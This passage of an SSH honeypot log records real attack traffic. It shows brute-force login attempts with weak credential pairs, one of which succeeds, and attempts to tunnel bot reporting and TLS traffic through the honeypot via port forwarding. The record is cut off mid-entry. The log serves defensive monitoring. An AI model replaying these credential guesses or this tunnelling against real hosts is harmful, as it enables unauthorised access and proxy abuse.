{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.80 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=c0IrP3NmMmNuSmF7c0g4VQ%3D%3DTmYIkWyBDEl8sKop1znR4QAHgG%2FU2XIykGv12azuLW5sc%2BTTHmLJNZKTSIkroMjZOTvu12ZyZOWvF4PtrO%2F3Dt1QS8Sem06NxhI2HmPKafBXiRz4oNvJTMtJ3nn1ohz9QD9dsRHfxoMFk54zDSgky9W0a5%2FeflErVWZAIaIRAAFwfo%2BgeYZvmz81%2FS7X27Q8YKA6Qj6gLK3%2Fbvj4lPg3FkKwGpziDaqGD9crmsug05ZSJiZ8MPqDU7QAPCHnWOcrP1IJwF%2FDUaro6ABu2h6PItuwlbBGgPhIgyVXbVzpJimrTt18hAnm%2Fc69faBRpQJvVbY1w1pSeId5rYOqCPP7oXlpk3C2J2NII%2BXJIqcVaA%2BUWASuL87qHrWVWJyHhcFEb9RWgVld9sKQe2MaWFoW%2Bw%2BGKRem0%2FVKP2R6HdI87J6s6yRVyPepXuDU3c%2FUhkfbmMY9R9RQkKPZJQ2Wp9wNaOsGVpGq41amYB4j4eFavyw1hszwjJnbHTGjH%2B8mHNYchPc92qdTLLq5qAKpma5Oq96nziB%2Bn83gQ4yPovyNHd%2Ftv726gmCsPzJdG3kJrz90MB%2FetThIcy4BKAuFuM1girAJoH58fVqerJbBrWGTA6ez7jaxFHOSAkYOUlVjxTVmxrl0oY5wjDk6AWiSsH3%2BjvzC6rPKg0mmpuvKJW0lXjgO88Av%2F24so5ajnwRGoClkq8jK%2BAo62dFpSzT2Xc1xI32%2Fy0uZDTQdgBvwG2TcTPFZSiosWR4zLD%2F0G8bCEgPhpnHvlCu1IKJworKQ7vWdAfMw2xqwe%2F0EESVhtVqfd%2FpWxVI%2FO4s2uoopFW4Y5xNNT7wSKbH72TcgnLUAivEh3rBNVutLpzZ26cqCuwHejj4SV7XHuM%2Fot6jMKT84zzkT%2FIqFijWIke4s2c%2BcQdxT1W3Tu8UA9%2FYGVWjN%2Bj%2BRmmQcUaFN6NkGQZvakqTCthe9Jf0lP8AZvO%2FFvvpcz47jWO4vE%2BYPD1WIjGOEFS6FZeEz8pzTngKeWB1lI9hrIm6pMOs4psJds5T%2Fwa7J20iJBRQCPb0B9S83VzJoz%2BdM7Wr%2B22lnp3ZvL8rtacrLSNYt'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.80 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=c0IrP3NmMmNuSmF7c0g4VQ%3D%3DTmYIkWyBDEl8sKop1znR4QAHgG%2FU2XIykGv12azuLW5sc%2BTTHmLJNZKTSIkroMjZOTvu12ZyZOWvF4PtrO%2F3Dt1QS8Sem06NxhI2HmPKafBXiRz4oNvJTMtJ3nn1ohz9QD9dsRHfxoMFk54zDSgky9W0a5%2FeflErVWZAIaIRAAFwfo%2BgeYZvmz81%2FS7X27Q8YKA6Qj6gLK3%2Fbvj4lPg3FkKwGpziDaqGD9crmsug05ZSJiZ8MPqDU7QAPCHnWOcrP1IJwF%2FDUaro6ABu2h6PItuwlbBGgPhIgyVXbVzpJimrTt18hAnm%2Fc69faBRpQJvVbY1w1pSeId5rYOqCPP7oXlpk3C2J2NII%2BXJIqcVaA%2BUWASuL87qHrWVWJyHhcFEb9RWgVld9sKQe2MaWFoW%2Bw%2BGKRem0%2FVKP2R6HdI87J6s6yRVyPepXuDU3c%2FUhkfbmMY9R9RQkKPZJQ2Wp9wNaOsGVpGq41amYB4j4eFavyw1hszwjJnbHTGjH%2B8mHNYchPc92qdTLLq5qAKpma5Oq96nziB%2Bn83gQ4yPovyNHd%2Ftv726gmCsPzJdG3kJrz90MB%2FetThIcy4BKAuFuM1girAJoH58fVqerJbBrWGTA6ez7jaxFHOSAkYOUlVjxTVmxrl0oY5wjDk6AWiSsH3%2BjvzC6rPKg0mmpuvKJW0lXjgO88Av%2F24so5ajnwRGoClkq8jK%2BAo62dFpSzT2Xc1xI32%2Fy0uZDTQdgBvwG2TcTPFZSiosWR4zLD%2F0G8bCEgPhpnHvlCu1IKJworKQ7vWdAfMw2xqwe%2F0EESVhtVqfd%2FpWxVI%2FO4s2uoopFW4Y5xNNT7wSKbH72TcgnLUAivEh3rBNVutLpzZ26cqCuwHejj4SV7XHuM%2Fot6jMKT84zzkT%2FIqFijWIke4s2c%2BcQdxT1W3Tu8UA9%2FYGVWjN%2Bj%2BRmmQcUaFN6NkGQZvakqTCthe9Jf0lP8AZvO%2FFvvpcz47jWO4vE%2BYPD1WIjGOEFS6FZeEz8pzTngKeWB1lI9hrIm6pMOs4psJds5T%2Fwa7J20iJBRQCPb0B9S83VzJoz%2BdM7Wr%2B22lnp3ZvL8rtacrLSNYt'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:46.403506Z","src_ip":"123.27.168.40","session":"64cd4ba2b477","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"63.141.242.2","src_port":57413,"dst_ip":"10.17.0.5","dst_port":22,"session":"51f2ac520dd6","protocol":"ssh","message":"New connection: 63.141.242.2:57413 (10.17.0.5:22) [session: 51f2ac520dd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:48.992188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:48.997973Z","src_ip":"63.141.242.2","session":"51f2ac520dd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:49.083296Z","src_ip":"63.141.242.2","session":"51f2ac520dd6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:50.477845Z","src_ip":"63.141.242.2","session":"51f2ac520dd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":49824,"dst_ip":"159.203.135.109","dst_port":22,"session":"92a451717159","protocol":"ssh","message":"New connection: 80.66.85.226:49824 (159.203.135.109:22) [session: 92a451717159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:51.639483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:51.643698Z","src_ip":"80.66.85.226","session":"92a451717159","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:51.737799Z","src_ip":"80.66.85.226","session":"92a451717159","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty71","message":"login attempt [root/qwerty71] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:52.019042Z","src_ip":"80.66.85.226","session":"92a451717159","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:53.115115Z","src_ip":"80.66.85.226","session":"92a451717159","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:53.541943Z","session":"64cd4ba2b477","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:53.803424Z","src_ip":"123.27.168.40","session":"64cd4ba2b477","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xecZ\\xf6{\\xf5\\xb8\\xa6\\x86\\xfc\\x88P#\\xf6\\x02l\\xda\\xd7s\\xf8\\x12\\x1c\\xb9\\xe0\\xd4#\\xb5$\\x8bX\\xb7\\xc8I \\xa4\\xd2[/R#\\xad\\xdc}#\\x122\\x0c\\xa32\\xe2?\\x13iZ\\x0c\\xa3\\xe5\\x85\\xde\\x8b;\\xa9D\\x8b\\x12\\xe2\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\x19\\xa4\\xed\\xa1\\xf3\\xbb\\x90/\\x06\\x8a\\xccn\\xe1z>\\xd3y\\x18\\xb3\\x08\\xf3g>\\xd6Y'\\xc9\\x11r!\\x81f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xecZ\\xf6{\\xf5\\xb8\\xa6\\x86\\xfc\\x88P#\\xf6\\x02l\\xda\\xd7s\\xf8\\x12\\x1c\\xb9\\xe0\\xd4#\\xb5$\\x8bX\\xb7\\xc8I \\xa4\\xd2[/R#\\xad\\xdc}#\\x122\\x0c\\xa32\\xe2?\\x13iZ\\x0c\\xa3\\xe5\\x85\\xde\\x8b;\\xa9D\\x8b\\x12\\xe2\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\x19\\xa4\\xed\\xa1\\xf3\\xbb\\x90/\\x06\\x8a\\xccn\\xe1z>\\xd3y\\x18\\xb3\\x08\\xf3g>\\xd6Y'\\xc9\\x11r!\\x81f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:53.807315Z","src_ip":"123.27.168.40","session":"64cd4ba2b477","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:54.067698Z","session":"64cd4ba2b477","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":51810,"dst_ip":"159.203.135.109","dst_port":22,"session":"4205fa07176a","protocol":"ssh","message":"New connection: 182.93.50.90:51810 (159.203.135.109:22) [session: 4205fa07176a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:54.195016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:54.201346Z","src_ip":"182.93.50.90","session":"4205fa07176a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:54.325768Z","src_ip":"123.27.168.40","session":"64cd4ba2b477","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd1\\x13\\x08JY\\xe2<\\xe4v\\xfd\\x15\\x199hm\\x1e~\\xea\\x99V\\x89\\xfal\\xf9\\xf9:%i\\x1fha[ U%IMjZ\\x14:\\xb0Y4\\xe4\\xd1\\n\\xd0sH\\xb4\\xc5\\x81b`oe\\x86T\\xa7(\\x07\\xa5jr\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 *\\\\\\x89\\xbb-\\xdbt\\xe08\\xe3)\\xa7$k\\xd9.\\x8e\\x1ezL1l6\\xa4y)\\xa6\\xfe\\x18\\xa3\\xffS\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd1\\x13\\x08JY\\xe2<\\xe4v\\xfd\\x15\\x199hm\\x1e~\\xea\\x99V\\x89\\xfal\\xf9\\xf9:%i\\x1fha[ U%IMjZ\\x14:\\xb0Y4\\xe4\\xd1\\n\\xd0sH\\xb4\\xc5\\x81b`oe\\x86T\\xa7(\\x07\\xa5jr\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 *\\\\\\x89\\xbb-\\xdbt\\xe08\\xe3)\\xa7$k\\xd9.\\x8e\\x1ezL1l6\\xa4y)\\xa6\\xfe\\x18\\xa3\\xffS\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\